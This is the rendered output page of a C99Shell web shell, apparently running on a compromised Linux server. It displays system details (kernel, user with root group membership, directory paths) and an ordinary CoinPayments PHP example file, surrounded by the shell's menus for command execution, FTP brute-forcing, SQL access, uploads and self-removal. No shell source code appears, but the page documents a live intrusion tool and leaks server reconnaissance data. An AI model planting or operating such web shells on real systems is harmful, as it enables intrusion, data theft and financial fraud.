!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/coinpaymentsnet/coinpayments-php/examples/   drwxr-xr-x
Free 28.98 GB of 117.98 GB (24.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     create_merchant_transfer.php (1.12 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require('../src/Coinpayments.php');
require(
'../src/keys.php');

/** Scenario: Create a transfer to a merchant identified by their merchant ID. **/

// Create a new API wrapper instance
$cps_api = new CoinpaymentsAPI($private_key$public_key'json');

// Enter amount for the transaction
$amount 0.005;

// Litecoin Testnet is a no value currency for testing
$currency 'LTCT';

// Enter the merchant ID to send funds to
$merchant '';

// If you want to skip email confirmation, include the following variable as the fourth parameter in the API call below.
// $auto_confirm = 1;

// Make call to API to create the transaction
try {
    
$transfer $cps_api->CreateMerchantTransfer($amount$currency$merchant);
} catch (
Exception $e) {
    echo 
'Error: ' $e->getMessage();
    exit();
}

if (
$transfer['error'] == 'ok') {
    
// Success!
    
$output 'Transfer created with ID: ' $transfer['result']['id'] . '<br>';
    
$output .= 'Status of transfer is: ' $transfer['result']['status'];

} else {
    
// Something went wrong!
    
$output 'Error: ' $transfer['error'];
}

// Output the response of the API call
echo $output;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--